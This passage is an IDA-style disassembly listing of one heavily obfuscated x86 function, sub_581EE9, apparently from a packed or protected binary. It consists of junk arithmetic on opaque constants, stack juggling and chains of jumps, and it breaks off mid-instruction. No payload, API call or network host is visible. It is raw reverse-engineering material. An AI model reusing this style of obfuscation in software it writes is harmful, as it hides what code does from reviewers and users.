loc_59B1BC: ; CODE XREF: sub_581EE9+1FA1Fj push [esp-6E66h+arg_6E5C+2] pop ecx add esp, 4 add [esp-6E6Ah+arg_6E64+2], 2CA70103h push ecx mov ecx, 33A417DCh add [esp-6E66h+arg_6E64+2], ecx pop ecx add [esp-6E6Ah+arg_6E64+2], ecx jmp loc_598784 ; --------------------------------------------------------------------------- loc_59B1DF: ; CODE XREF: sub_581EE9+249EFj add esi, 39CA0A10h jmp loc_59CFC7 ; --------------------------------------------------------------------------- loc_59B1EA: ; CODE XREF: sub_581EE9+1C7F7j add edx, eax pop eax push 2013h jmp loc_597934 ; --------------------------------------------------------------------------- loc_59B1F7: ; CODE XREF: sub_581EE9+1018Aj add [esp-6EA2h+arg_6E9E], 0FE63150h add [esp-6EA2h+arg_6E9E], ebp sub [esp-6EA2h+arg_6E9E], 0FE63150h jmp loc_5A2415 ; --------------------------------------------------------------------------- loc_59B210: ; CODE XREF: sub_581EE9+17D59j sub edx, 1686247Ah and eax, edx mov edx, [esp-6EA6h+arg_6E9E] jmp loc_59832C ; --------------------------------------------------------------------------- loc_59B220: ; CODE XREF: sub_581EE9+1FABEj add eax, 9F14C71h add eax, 0DCE303Dh add eax, ebx sub eax, 0DCE303Dh sub eax, 9F14C71h sub eax, 5DF76FBEh push ebp jmp loc_5A6691 ; --------------------------------------------------------------------------- loc_59B241: ; CODE XREF: sub_581EE9+1223Ej add ecx, esi pop esi push 6D12h mov [esp-6E6Eh+arg_6E64+2], esi mov esi, 2 push eax mov eax, 11A36C64h shr eax, 1 add eax, 28C22B5Dh shl eax, 6 neg eax sub eax, 6B363E27h add eax, 3B601B77h sub ecx, 7C260FD3h add ecx, eax add ecx, 7C260FD3h jmp loc_59BC8A ; --------------------------------------------------------------------------- loc_59B280: ; CODE XREF: sub_581EE9+1F6ECj push esp pop [esp-6E66h+arg_6E5C+2] push ebp jmp loc_5A3A94 ; --------------------------------------------------------------------------- loc_59B28A: ; CODE XREF: sub_581EE9+1B9F2j sub al, dl add al, 8 sub al, 85h push [esp-6E66h+arg_6E5C+2] pop edx jmp loc_5967FF ; --------------------------------------------------------------------------- loc_59B299: ; CODE XREF: sub_581EE9+16613j push 2CC3h mov [esp-6E58h+arg_6E50], eax mov ah, 78h mov ch, 0CEh sub esp, 4 mov [esp-6E54h+arg_6E4C], eax mov ah, 0E1h sub ch, ah pop eax add ch, ah jmp loc_597FB6 ; --------------------------------------------------------------------------- loc_59B2BA: ; CODE XREF: sub_581EE9+23A5Cj add esi, 2 jmp loc_597FBE ; --------------------------------------------------------------------------- loc_59B2C5: ; CODE XREF: sub_581EE9+166AFj shr edi, 2 jmp loc_59F0D7 ; --------------------------------------------------------------------------- loc_59B2CD: ; CODE XREF: sub_581EE9+16D84j shr esi, 1 or esi, 56223BDCh add esi, 8AD12D19h and ebx, esi pop esi push esi mov esi, 6C571A7Eh sub ebx, 2CAE5317h add ebx, esi add ebx, 2CAE5317h pop esi push ebp push ebx add [esp-6EA0h+arg_6E96+2], 5206D26h pop ebp sub ebp, 5206D26h mov ecx, ebp push [esp-6EA4h+arg_6E9A+2] pop ebp push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp-6EA0h+arg_6E96+2] jmp loc_59D26B ; --------------------------------------------------------------------------- loc_59B320: ; CODE XREF: sub_581EE9+1FCFEj and edi, 43401740h push eax mov eax, 481E31B1h or eax, 1A1823DBh not eax sub eax, 7A37ADDFh xor edi, eax pop eax jmp loc_593A34 ; --------------------------------------------------------------------------- loc_59B340: ; CODE XREF: sub_581EE9+23F81j push 62B151F3h mov edx, [esp-6E9Ch+arg_6E92+2] add esp, 4 sub edi, edx mov edx, [esp-6EA0h+arg_6E96+2] add esp, 4 pop ebx jmp loc_59FB44 ; --------------------------------------------------------------------------- loc_59B35F: ; CODE XREF: sub_581EE9+171E7j xor bl, al jmp loc_5A0A24 ; --------------------------------------------------------------------------- loc_59B366: ; CODE XREF: sub_581EE9+1E99Fj push edi push edx mov edx, 6830093Bh not edx inc edx add edx, 82463E2Fh jmp loc_592169 ; --------------------------------------------------------------------------- loc_59B37B: ; CODE XREF: sub_581EE9+16720j push 5EF8h mov [esp-6EA2h+arg_6E9A], edx push bx jmp loc_59ECF8 ; --------------------------------------------------------------------------- loc_59B38A: ; CODE XREF: sub_581EE9+1210Aj mov [esp-6EB4h+arg_6EAC], esi mov esi, 379068Eh sub esi, 593C5770h push esi mov esi, esp jmp loc_5A5DA0 ; --------------------------------------------------------------------------- loc_59B3A0: ; CODE XREF: sub_581EE9+10317j xchg eax, [esp-6EA4h+arg_6E9A+2] pop esp mov [esp-6EA8h+arg_6E9E+2], ebp mov ebp, esp jmp loc_597443 ; --------------------------------------------------------------------------- loc_59B3AE: ; CODE XREF: sub_581EE9+14C15j mov ebp, 7245694Ch jmp loc_598147 ; --------------------------------------------------------------------------- loc_59B3B8: ; CODE XREF: sub_581EE9+11410j pop ebp push ebx mov ebx, 4 sub ebp, 2DA10E53h sub ebp, 68B44559h add ebp, ebx add ebp, 68B44559h add ebp, 2DA10E53h pop ebx sub ebp, 2 xchg ebp, [esp-6E98h+arg_6E8E+2] pop esp mov word ptr [esp-6E9Ch+arg_6E92+2], cx push small word ptr [esp-6E9Ch+arg_6E96] mov cx, word ptr [esp-6E9Ah+arg_6E92] add esp, 2 pop small word ptr [esp-6E9Eh+arg_6E96] push cx not word ptr [esp-6E9Eh+arg_6E96] jmp loc_598C48 ; --------------------------------------------------------------------------- loc_59B400: ; CODE XREF: sub_581EE9+17ED3j mov dl, 8Dh jmp loc_59D5BB ; --------------------------------------------------------------------------- loc_59B407: ; CODE XREF: sub_581EE9+120A3j xor ebp, 56499617h jmp loc_5A2BD5 ; --------------------------------------------------------------------------- loc_59B412: ; CODE XREF: sub_581EE9+11AFEj mov ecx, [esp+0] jmp loc_5A4BBE ; --------------------------------------------------------------------------- loc_59B41A: ; CODE XREF: sub_581EE9+15404j add ch, dh pop edx sub ch, bl sub ch, 0B0h pop ebx add al, 35h push ecx push ebx mov bh, 0FAh neg bh shr bh, 5 shr bh, 1 shr bh, 1 sub bh, 1Ah mov ch, bh pop ebx sub al, 0FEh sub al, ch jmp loc_5A00E7 ; --------------------------------------------------------------------------- loc_59B441: ; CODE XREF: sub_581EE9+1FD9Cj mov [esp-6E7Eh+arg_6E76], edi mov edi, 2036534Dh sub dword ptr [esp-6E7Eh+arg_6E7A], edi pop edi add dword ptr [esp-6E82h+arg_6E7A], 7C231804h push edx jmp loc_597BBF ; --------------------------------------------------------------------------- loc_59B45B: ; CODE XREF: sub_581EE9+11945j push ebx mov ebx, 5606544Ch xor ebx, 39721ABEh or ebx, 20BC0051h or ebx, 54F56245h sub ebx, 6C9203F5h add ebx, 0FE74C269h add edx, ebx pop ebx add edx, edi sub edx, 11E02D6Bh jmp loc_5947A1 ; --------------------------------------------------------------------------- mov cx, word ptr [esp-6EA4h+arg_6E9A+2] push 11CEh mov [esp-6EA0h+arg_6E96+2], eax jmp loc_599CCC ; --------------------------------------------------------------------------- loc_59B4A0: ; CODE XREF: sub_581EE9+1A01Bj not dh not dh push 5ABFh jmp loc_595426 ; --------------------------------------------------------------------------- loc_59B4AE: ; CODE XREF: sub_581EE9+124FEj push 6DA5h mov [esp-6E9Ah+arg_6E92], edx push esp mov edx, [esp-6E96h+arg_6E8E] add esp, 4 jmp loc_59EEC1 ; --------------------------------------------------------------------------- loc_59B4C5: ; CODE XREF: sub_581EE9+210FEj pop ecx jmp loc_59F774 ; --------------------------------------------------------------------------- loc_59B4CB: ; CODE XREF: sub_581EE9+151E0j add esp, 4 push 0AFDh mov [esp+0], esi mov esi, esp add esi, 4 push 1334h mov [esp-6E46h+arg_6E3E], ecx jmp loc_59B5F3 ; --------------------------------------------------------------------------- loc_59B4EE: ; CODE XREF: sub_581EE9+232B9j mov ah, 93h not ah inc ah jmp loc_59E03C ; --------------------------------------------------------------------------- loc_59B4F9: ; CODE XREF: sub_581EE9+227CCj sub eax, esi mov esi, [esp-6E46h+arg_6E3E] add esp, 4 push ebp mov ebp, 0FD704FCh or eax, ebp jmp loc_5A46C2 ; --------------------------------------------------------------------------- loc_59B50E: ; CODE XREF: sub_581EE9+250F0j sub [esp-6E46h+arg_6E44+2], ecx pop ecx sub [esp-6E4Ah+arg_6E44+2], 52CB58F7h mov esi, [esp+0] jmp loc_5954E5 ; --------------------------------------------------------------------------- loc_59B523: ; CODE XREF: sub_581EE9+22A8Ej pop eax add esp, 4 push ebx jmp loc_598446 ; --------------------------------------------------------------------------- loc_59B52D: ; CODE XREF: sub_581EE9+181E3j mov edx, [esp-6E7Ah+arg_6E72] add esp, 4 shl ebp, 2 push ebx jmp loc_598CC6 ; --------------------------------------------------------------------------- loc_59B53C: ; CODE XREF: sub_581EE9+200A6j mov dl, 95h shl dl, 2 or dl, 7Dh xor dl, 53h mov bl, dl mov edx, [esp-6E7Ah+arg_6E72] add esp, 4 jmp loc_5A4037 ; --------------------------------------------------------------------------- loc_59B557: ; CODE XREF: sub_581EE9+190EEj xchg ebp, [esp-6E9Ah+arg_6E92] pop esp push 3230h mov [esp-6E9Ah+arg_6E92], edx push ebx mov ebx, 7A15545Dh add [esp-6E96h+arg_6E92], 1B4F51B4h jmp loc_59F04E ; --------------------------------------------------------------------------- loc_59B576: ; CODE XREF: sub_581EE9+139C3j sub ebx, edx jmp loc_59BAAE ; --------------------------------------------------------------------------- loc_59B57D: ; CODE XREF: sub_581EE9+19D9Cj dec eax jmp loc_59A97E ; --------------------------------------------------------------------------- loc_59B583: ; CODE XREF: sub_581EE9+1D7BBj mov edi, eax pop eax add edx, edi pop edi push esi mov esi, 60EC135Ah push edi mov edi, 5EEB1FEEh add edi, 0EC85F27h sub esp, 4 jmp loc_59BB9C ; --------------------------------------------------------------------------- loc_59B5A6: ; CODE XREF: sub_581EE9+1F617j neg eax inc eax add eax, 492D23F6h mov ebp, eax pop eax add edx, 52CC53CFh jmp loc_595DD9 ; --------------------------------------------------------------------------- loc_59B5BC: ; CODE XREF: sub_581EE9+13A5Ej and dl, 8 jmp loc_59D556 ; --------------------------------------------------------------------------- loc_59B5C4: ; CODE XREF: sub_581EE9+146D8j mov eax, edi pop edi shl eax, 6 push 2BAFh mov [esp-6E9Ah+arg_6E92], ebx mov ebx, 50842BCCh sub ebx, 0CF62294Eh sub eax, ebx push [esp-6E9Ah+arg_6E92] pop ebx add esp, 4 sub esi, eax mov eax, [esp-6E9Eh+arg_6E96] push edi push esp pop edi jmp loc_5A647A ; --------------------------------------------------------------------------- loc_59B5F3: ; CODE XREF: sub_581EE9+19600j push ebp push eax jmp loc_5A1396 ; --------------------------------------------------------------------------- loc_59B5FA: ; CODE XREF: sub_581EE9+13019j push [esp-6E86h+arg_6E80+2] jmp loc_59C893 ; --------------------------------------------------------------------------- loc_59B603: ; CODE XREF: sub_581EE9+179B4j push ebp push edi jmp loc_597B32 ; --------------------------------------------------------------------------- loc_59B60A: ; CODE XREF: sub_581EE9+21F05j mov esi, 3A9C7886h shr esi, 8 push ebp mov ebp, 30B204A0h xor ebp, 42D0446Eh push ebp neg dword ptr [esp+0] pop ebp jmp loc_5A348B ; --------------------------------------------------------------------------- loc_59B628: ; CODE XREF: sub_581EE9+1CEC4j sub ebx, 45A7C1BFh xor eax, ebx pop ebx mov ecx, eax pop eax not ecx push 77FAh mov [esp-6E7Ch+arg_6E72+2], edx jmp loc_59D449 ; --------------------------------------------------------------------------- loc_59B643: ; CODE XREF: sub_581EE9+21F18j mov ebx, esp jmp loc_59C159 ; --------------------------------------------------------------------------- loc_59B64A: ; CODE XREF: sub_581EE9+102F6j jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59B64F: ; CODE XREF: sub_581EE9+13946j shl esi, 5 not esi dec esi push ebp mov ebp, 356C4AE8h neg ebp not ebp add ebp, 18F32B34h sub ebp, 76D42C26h not ebp add ebp, 0E64DBA1Ah xor esi, ebp pop ebp add ebx, esi pop esi pop edx pop ecx sub ebx, 129049C2h jmp loc_597D79 ; --------------------------------------------------------------------------- loc_59B686: ; CODE XREF: sub_581EE9+22F59j mov [esp-6E96h+arg_6E8E], ecx mov ecx, 69F16C66h mov eax, ecx jmp loc_5A4C22 ; --------------------------------------------------------------------------- loc_59B695: ; CODE XREF: sub_581EE9+250E6j pop edx jmp loc_597081 ; --------------------------------------------------------------------------- loc_59B69B: ; CODE XREF: sub_581EE9+223CAj pop eax jmp loc_5A3710 ; --------------------------------------------------------------------------- loc_59B6A1: ; CODE XREF: sub_581EE9+128C7j jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59B6A6: ; CODE XREF: sub_581EE9+19ED2j mov [esp-6E6Ah+arg_6E60+2], edx mov edx, 2DAE5CFDh add ecx, 7DFB1FC9h sub ecx, 686B4439h sub ecx, 19E4559Ch add ecx, edx add ecx, 19E4559Ch add ecx, 686B4439h jmp loc_59E7D8 ; --------------------------------------------------------------------------- loc_59B6D3: ; CODE XREF: sub_581EE9+19040j add esp, 4 sub esp, 4 mov [esp-6E94h+arg_6E8A+2], ebx mov ebx, esp jmp loc_59EC2B ; --------------------------------------------------------------------------- loc_59B6E9: ; CODE XREF: sub_581EE9+187A9j add edx, 4 push eax mov eax, 4 sub edx, 1C06261Bh add edx, eax add edx, 1C06261Bh pop eax xchg edx, [esp-6E6Ch+arg_6E64] jmp loc_59AD53 ; --------------------------------------------------------------------------- loc_59B70C: ; CODE XREF: sub_581EE9+15BBAj xor ebx, 4F7D443Ah inc ebx jmp loc_5A0B12 ; --------------------------------------------------------------------------- loc_59B718: ; CODE XREF: sub_581EE9+152ABj pop esi sub esp, 4 mov [esp-6E72h+arg_6E68+2], esi jmp loc_599397 ; --------------------------------------------------------------------------- loc_59B727: ; CODE XREF: sub_581EE9+22E8Dj add esi, ebp jmp loc_59F5F2 ; --------------------------------------------------------------------------- loc_59B72E: ; CODE XREF: sub_581EE9+1E014j mov ecx, 4 jmp loc_598849 ; --------------------------------------------------------------------------- loc_59B738: ; CODE XREF: sub_581EE9+21A45j add esp, 4 push [esp-6E76h+arg_6E6E] mov ebx, [esp-6E72h+arg_6E68+2] add esp, 4 add esp, 4 jmp loc_59B045 ; --------------------------------------------------------------------------- loc_59B74F: ; CODE XREF: sub_581EE9+10709j sub esp, 4 mov [esp-6EA8h+arg_6E9E+2], esi sub esp, 4 mov [esp-6EA4h+arg_6E9A+2], edx mov edx, 3FE07D08h xor edx, 627100E6h mov esi, edx pop edx jmp loc_59E4BB ; --------------------------------------------------------------------------- loc_59B771: ; CODE XREF: sub_581EE9+12126j and edi, ebp jmp loc_5A0E5F ; --------------------------------------------------------------------------- loc_59B778: ; CODE XREF: sub_581EE9+10C67j mov ah, dl mov cl, ah pop eax mov ah, cl jmp loc_5926BC ; --------------------------------------------------------------------------- loc_59B784: ; CODE XREF: sub_581EE9+1F347j mov [esp-6E96h+arg_6E8E], edx mov dx, di jmp loc_592852 ; --------------------------------------------------------------------------- loc_59B78F: ; CODE XREF: sub_581EE9+23594j pop ebx pop [esp-6E9Ah+arg_6E92] mov esp, [esp-6E9Eh+arg_6E96] add [esp-6E9Eh+arg_6E9A], esi pop esi jmp loc_5A23AD ; --------------------------------------------------------------------------- loc_59B7A0: ; CODE XREF: sub_581EE9+1BB5Dj inc ebp jmp loc_59A835 ; --------------------------------------------------------------------------- loc_59B7A6: ; CODE XREF: sub_581EE9+15FBAj add ebp, 188B168Dh xor ebp, 10A4151Dh shl ebp, 8 jmp loc_5A2430 ; --------------------------------------------------------------------------- loc_59B7BA: ; CODE XREF: sub_581EE9+12208j mov eax, 221726CDh push eax neg [esp-6E6Eh+arg_6E64+2] pop eax jmp loc_598556 ; --------------------------------------------------------------------------- loc_59B7C9: ; CODE XREF: sub_581EE9+24ADAj or esi, 45FD6C11h neg esi sub esi, 0FFFFFFFFh sub esi, 23962234h add esi, 0A87401A6h jmp loc_59615A ; --------------------------------------------------------------------------- loc_59B7E5: ; CODE XREF: sub_581EE9+11C5Ej pop esp sub esp, 4 mov dword ptr [esp-6E82h+arg_6E7A], edi mov edi, esp sub esp, 4 mov [esp-6E7Eh+arg_6E76], esi mov esi, 56CC23DCh push ecx mov ecx, 75E27A73h xor ecx, 44127BB0h sub ecx, 4EC63B78h jmp loc_5A637D ; --------------------------------------------------------------------------- loc_59B813: ; CODE XREF: sub_581EE9+1768Dj mov eax, edi pop edi add esi, 6F263029h sub esi, 436F32BAh add esi, eax add esi, 436F32BAh sub esi, 6F263029h mov eax, [esp-6E8Ah+arg_6E80+2] push edi mov edi, esp add edi, 4 push esi jmp loc_5A5D8C ; --------------------------------------------------------------------------- loc_59B842: ; CODE XREF: sub_581EE9+137A8j add ebx, 4 push 1806h mov [esp-6E6Eh+arg_6E64+2], edi jmp loc_59595D ; --------------------------------------------------------------------------- loc_59B855: ; CODE XREF: sub_581EE9+10175j inc eax sub esp, 4 jmp loc_5A6C87 ; --------------------------------------------------------------------------- loc_59B85E: ; CODE XREF: sub_581EE9+1366Ej pop edi jmp loc_594D52 ; --------------------------------------------------------------------------- loc_59B864: ; CODE XREF: sub_581EE9+224ACj xor edi, 17045C82h or edi, 49A4053Ah or edi, 17534EAEh push esi mov esi, 57992556h jmp loc_59D716 ; --------------------------------------------------------------------------- loc_59B881: ; CODE XREF: sub_581EE9+1A33Dj push eax jmp loc_5A2800 ; --------------------------------------------------------------------------- loc_59B887: ; CODE XREF: sub_581EE9+1411Fj mov ecx, [esp-6E5Ch+arg_6E54] add esp, 4 push edi push 737E0F9Ah jmp loc_599114 ; --------------------------------------------------------------------------- loc_59B89B: ; CODE XREF: sub_581EE9+1C623j add esi, eax pop eax add esi, 4 xor esi, [esp-6E5Ch+arg_6E54] xor [esp-6E5Ch+arg_6E54], esi jmp loc_5A5774 ; --------------------------------------------------------------------------- loc_59B8AC: ; CODE XREF: sub_581EE9+10625j push ebx jmp loc_59CA38 ; --------------------------------------------------------------------------- loc_59B8B2: ; CODE XREF: sub_581EE9+18E11j mov [esp-6E5Ah+arg_6E50+2], eax push [esp-6E5Ah+arg_6E54+2] pop eax pop [esp-6E5Ah+arg_6E50+2] mov esp, [esp-6E5Eh+arg_6E54+2] movsx cx, al jmp $+5 push 5567h mov [esp-6E5Ah+arg_6E50+2], ecx jmp loc_59DF42 ; --------------------------------------------------------------------------- loc_59B8D6: ; CODE XREF: sub_581EE9+18D2Ej shl edx, 1 push dword ptr [edi+24h] push 26DEh mov [esp-6E84h+arg_6E7C], ecx push 4DB3h jmp loc_59AAD1 ; --------------------------------------------------------------------------- loc_59B8ED: ; CODE XREF: sub_581EE9+22F8Fj pop ebx sub esp, 4 mov [esp-6E80h+arg_6E76+2], edi mov edi, 301865E6h and esi, edi push [esp-6E80h+arg_6E76+2] mov edi, [esp-6E7Ch+arg_6E72+2] add esp, 4 sub esp, 4 mov [esp-6E7Ch+arg_6E72+2], ebp mov ebp, esp add ebp, 4 push edi jmp loc_59598E ; --------------------------------------------------------------------------- loc_59B91E: ; CODE XREF: sub_581EE9+1D9C6j xchg ecx, [esp-6E78h+arg_6E6E+2] push [esp-6E78h+arg_6E6E+2] push dword ptr [esp+0] mov eax, [esp-6E70h+arg_6E68] push edx jmp loc_592231 ; --------------------------------------------------------------------------- loc_59B930: ; CODE XREF: sub_581EE9+1D93Fj pop ecx push 7DCCh mov [esp-6E6Ch+arg_6E64], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-6E6Ch+arg_6E64] mov esp, [esp-6E6Ch+arg_6E64] add bl, al mov eax, [esp-6E6Ch+arg_6E64] add esp, 4 add bl, 0B6h jmp loc_598857 ; --------------------------------------------------------------------------- loc_59B95E: ; CODE XREF: sub_581EE9+11D81j neg ebp add ebp, 0DED75533h sub esi, ebp pop ebp jmp loc_5A4AF4 ; --------------------------------------------------------------------------- loc_59B96E: ; CODE XREF: sub_581EE9+11FC0j mov ecx, 2DF70B66h add eax, ecx jmp loc_5987ED ; --------------------------------------------------------------------------- loc_59B97A: ; CODE XREF: sub_581EE9+13538j mov edi, 73FB7B02h push ebp push edi mov edi, 69D75254h jmp loc_595CB9 ; --------------------------------------------------------------------------- loc_59B98B: ; CODE XREF: sub_581EE9+116ABj mov ebx, [esp-6E7Eh+arg_6E76] add esp, 4 push eax mov eax, 1E8F23C1h xor edi, eax pop eax jmp loc_592275 ; --------------------------------------------------------------------------- loc_59B99F: ; CODE XREF: sub_581EE9+1637Bj push esi push esp push [esp-6EBCh+arg_6EB2+2] pop esi push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_5946D4 ; --------------------------------------------------------------------------- loc_59B9B9: ; CODE XREF: sub_581EE9+20BBAj and ebp, eax pop eax jmp loc_5A5CB1 ; --------------------------------------------------------------------------- loc_59B9C1: ; CODE XREF: sub_581EE9+1804Dj mov edi, [esp-6E62h+arg_6E58+2] add esp, 4 xor ecx, [esp-6E66h+arg_6E5C+2] jmp loc_59215E ; --------------------------------------------------------------------------- loc_59B9D2: ; CODE XREF: sub_581EE9+12233j add [esp-6E6Eh+arg_6E64+2], 4 mov ecx, [esp-6E6Eh+arg_6E64+2] add esp, 4 sub esp, 4 jmp loc_593EAE ; --------------------------------------------------------------------------- loc_59B9E7: ; CODE XREF: sub_581EE9+2275Aj mov [esp-6E6Eh+arg_6E64+2], eax jmp loc_595E15 ; --------------------------------------------------------------------------- loc_59B9EF: ; CODE XREF: sub_581EE9+1D62Dj add edx, 4 add edx, 4 jmp loc_5A29EA ; --------------------------------------------------------------------------- loc_59B9FD: ; CODE XREF: sub_581EE9+160F2j sub bl, 19h jmp loc_5A5F89 ; --------------------------------------------------------------------------- loc_59BA05: ; CODE XREF: sub_581EE9+1F858j xor dh, 9Ah shr dh, 3 neg dh jmp loc_5A13A1 ; --------------------------------------------------------------------------- loc_59BA12: ; CODE XREF: sub_581EE9+12D9Cj mov ebp, [esp+0] add esp, 4 mov edx, ebx jmp loc_5983DC ; --------------------------------------------------------------------------- loc_59BA22: ; CODE XREF: sub_581EE9+1F7C4j add ebp, 2F387C21h push edi mov edi, 555F12CAh and ebp, edi pop edi xor ebp, 67356E87h mov edi, ebp jmp loc_5A668B ; --------------------------------------------------------------------------- loc_59BA3E: ; CODE XREF: sub_581EE9+1DC24j pop esp mov [esp-6E7Ch+arg_6E72+2], edx push 2C2Eh mov [esp-6E78h+arg_6E6E+2], esp add [esp-6E78h+arg_6E6E+2], 4 push [esp-6E78h+arg_6E6E+2] pop edx push esi mov esi, esp jmp loc_5A4B02 ; --------------------------------------------------------------------------- loc_59BA5D: ; CODE XREF: sub_581EE9+1DC2Aj add esp, 4 add edi, 4 push 6077h mov [esp+0], ecx jmp loc_59E231 ; --------------------------------------------------------------------------- loc_59BA76: ; CODE XREF: sub_581EE9+10CEEj mov esi, esp add esi, 4 jmp loc_594B10 ; --------------------------------------------------------------------------- push dword ptr [esp-6E82h+arg_6E7A] pop eax push 5200h mov [esp], edx mov edx, esp sub esp, 4 mov [esp-6E7Ah+arg_6E72], ebx jmp loc_595F09 ; --------------------------------------------------------------------------- loc_59BA9C: ; CODE XREF: sub_581EE9+22F13j add edx, 3EFE6B22h jmp loc_5A5A5E ; --------------------------------------------------------------------------- loc_59BAA7: ; CODE XREF: sub_581EE9+17967j pop ebx inc ebx jmp loc_59E2CB ; --------------------------------------------------------------------------- loc_59BAAE: ; CODE XREF: sub_581EE9+1968Fj pop edx jmp loc_5A2E0B ; --------------------------------------------------------------------------- loc_59BAB4: ; CODE XREF: sub_581EE9+200C3j mov edi, 4 mov esi, edi pop edi add ecx, esi pop esi push 52A4h mov [esp-6EA6h+arg_6E9E], ecx push dword ptr [esp-6EA6h+arg_6EA2] mov ecx, [esp-6EA2h+arg_6E9A] add esp, 4 pop [esp-6EA6h+arg_6E9E] pop esp add esp, 4 movzx ecx, al push 788Eh mov [esp-6EAEh+arg_6EA4+2], ebx push esp mov ebx, dword ptr [esp-6EAAh+arg_6EA2] add esp, 4 push eax push esi mov esi, 5B332975h jmp loc_598B3D ; --------------------------------------------------------------------------- loc_59BAFC: ; CODE XREF: sub_581EE9+1DA97j add esp, 4 jmp loc_592CD0 ; --------------------------------------------------------------------------- loc_59BB07: ; CODE XREF: sub_581EE9+2373Cj or bh, 0B7h shl bh, 8 add bh, 77h sub cl, bh pop ebx xor dl, cl mov ecx, [esp-6EAEh+arg_6EA4+2] jmp loc_59A29E ; --------------------------------------------------------------------------- loc_59BB1D: ; CODE XREF: sub_581EE9+1F158j pop edi jmp loc_59AFF2 ; --------------------------------------------------------------------------- loc_59BB23: ; CODE XREF: sub_581EE9+21ACAj push ebp mov ebp, 5BFC05C9h mov ecx, ebp pop ebp add ecx, 3AEB6504h jmp loc_59A50F ; --------------------------------------------------------------------------- loc_59BB37: ; CODE XREF: sub_581EE9+1746Ej add edi, esi mov esi, [esp-6EAEh+arg_6EA4+2] add esp, 4 jmp loc_59EE15 ; --------------------------------------------------------------------------- loc_59BB47: ; CODE XREF: sub_581EE9+1F28Dj pop ebx jmp loc_599BA2 ; --------------------------------------------------------------------------- loc_59BB4D: ; CODE XREF: sub_581EE9+2043Fj pop esp mov [esp-6EBAh+arg_6EB2], ecx jmp loc_594ADA ; --------------------------------------------------------------------------- loc_59BB56: ; CODE XREF: sub_581EE9+1CCB2j add eax, 1D32915h add ebp, eax pop eax push 5C9Eh mov [esp-6EBAh+arg_6EB2], edi push 4676h mov [esp-6EB6h+arg_6EAC+2], ebp mov ebp, 59A57DC1h or ebp, 12F665ABh xor ebp, 26907DDDh add ebp, 5AEE11CDh xor ebp, 0D8551207h push ebp jmp loc_5A6514 ; --------------------------------------------------------------------------- loc_59BB91: ; CODE XREF: sub_581EE9+11997j xchg esi, [esp-6EA4h+arg_6E9A+2] mov esp, [esp-6EA4h+arg_6E9A+2] jmp loc_59EF2B ; --------------------------------------------------------------------------- loc_59BB9C: ; CODE XREF: sub_581EE9+196B8j mov [esp-6E9Ah+arg_6E92], edx mov edx, 542976C9h xor edx, 2CB116D1h xor edx, 65AB63A6h jmp loc_5A1030 ; --------------------------------------------------------------------------- loc_59BBB5: ; CODE XREF: sub_581EE9+1F4B3j dec eax shr eax, 7 sub eax, 5C2059DBh xor eax, 0D43DDC12h mov ebp, eax jmp loc_59355A ; --------------------------------------------------------------------------- loc_59BBCA: ; CODE XREF: sub_581EE9+24B04j mov eax, [esp-6E9Ah+arg_6E92] add esp, 4 jmp loc_5A0781 ; --------------------------------------------------------------------------- loc_59BBD8: ; CODE XREF: sub_581EE9+251DDj push edx mov edx, esp jmp loc_598334 ; --------------------------------------------------------------------------- loc_59BBE0: ; CODE XREF: sub_581EE9+18055j mov esi, 68272FB9h jmp loc_5972F2 ; --------------------------------------------------------------------------- loc_59BBEA: ; CODE XREF: sub_581EE9+21D27j mov eax, esp jmp loc_5A6062 ; --------------------------------------------------------------------------- loc_59BBF1: ; CODE XREF: sub_581EE9+1EA0Ej sub esp, 4 mov [esp-6E66h+arg_6E5C+2], ecx mov ecx, 42F13A8Fh and ecx, 79C2213Ch neg ecx or ecx, 4AF854F7h add ecx, 514E2FF9h add ecx, 0AEB1F014h jmp loc_599FA9 ; --------------------------------------------------------------------------- loc_59BC1B: ; CODE XREF: sub_581EE9+21014j mov edx, 54935748h add edx, 6D590EECh shl edx, 1 push ebp mov ebp, 812337h add ebp, 55670957h shl ebp, 4 jmp loc_59ACFF ; --------------------------------------------------------------------------- loc_59BC3C: ; CODE XREF: sub_581EE9+24A2Bj mov eax, [esp-6E62h+arg_6E58+2] add esp, 4 mov esi, [esp-6E66h+arg_6E5C+2] sub esp, 4 jmp loc_5976EB ; --------------------------------------------------------------------------- loc_59BC4D: ; CODE XREF: sub_581EE9+18756j mov ebp, esi push [esp-6E66h+arg_6E5C+2] pop esi push ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp push [esp-6E5Eh+arg_6E58+2] pop ebp jmp loc_59CBA9 ; --------------------------------------------------------------------------- loc_59BC6D: ; CODE XREF: sub_581EE9+17D03j mov esi, [esp+0] push eax jmp loc_59D1BD ; --------------------------------------------------------------------------- loc_59BC76: ; CODE XREF: sub_581EE9+11C8Aj mov ecx, ebp pop ebp jmp loc_59ADB3 ; --------------------------------------------------------------------------- loc_59BC7E: ; CODE XREF: sub_581EE9+1DBAEj pop edx push eax mov eax, 5F071061h jmp loc_59B57D ; --------------------------------------------------------------------------- loc_59BC8A: ; CODE XREF: sub_581EE9+19392j pop eax add ecx, esi sub ecx, 6B317990h pop esi jmp loc_5A64AA ; --------------------------------------------------------------------------- loc_59BC99: ; CODE XREF: sub_581EE9+1D959j xor edx, [esp-6E72h+arg_6E68+2] jmp loc_592A10 ; --------------------------------------------------------------------------- loc_59BCA1: ; CODE XREF: sub_581EE9+1822Cj sub edi, ebx mov ebx, [esp-6EA2h+arg_6E9A] add esp, 4 add edi, 780B567Ah sub edi, ebx jmp loc_5A0860 ; --------------------------------------------------------------------------- loc_59BCB6: ; CODE XREF: sub_581EE9+22B69j add ah, 0E4h sub ch, ah jmp loc_59E56E ; --------------------------------------------------------------------------- loc_59BCC0: ; CODE XREF: sub_581EE9+1D797j shl edx, 2 xor edx, 1804AE32h sub ebx, edx mov edx, [esp-6EA6h+arg_6E9E] push edx mov edx, esp push ecx mov ecx, 397074D7h neg ecx jmp loc_59D8A5 ; --------------------------------------------------------------------------- loc_59BCDE: ; CODE XREF: sub_581EE9+12D74j pop ecx xor edx, 10C00044h jmp loc_5A3B58 ; --------------------------------------------------------------------------- loc_59BCEA: ; CODE XREF: sub_581EE9+24863j push 0B29h mov [esp-6E80h+arg_6E76+2], edi jmp loc_594860 ; --------------------------------------------------------------------------- loc_59BCF7: ; CODE XREF: sub_581EE9+10B64j sub edi, 61B0657Ch pop ecx sub 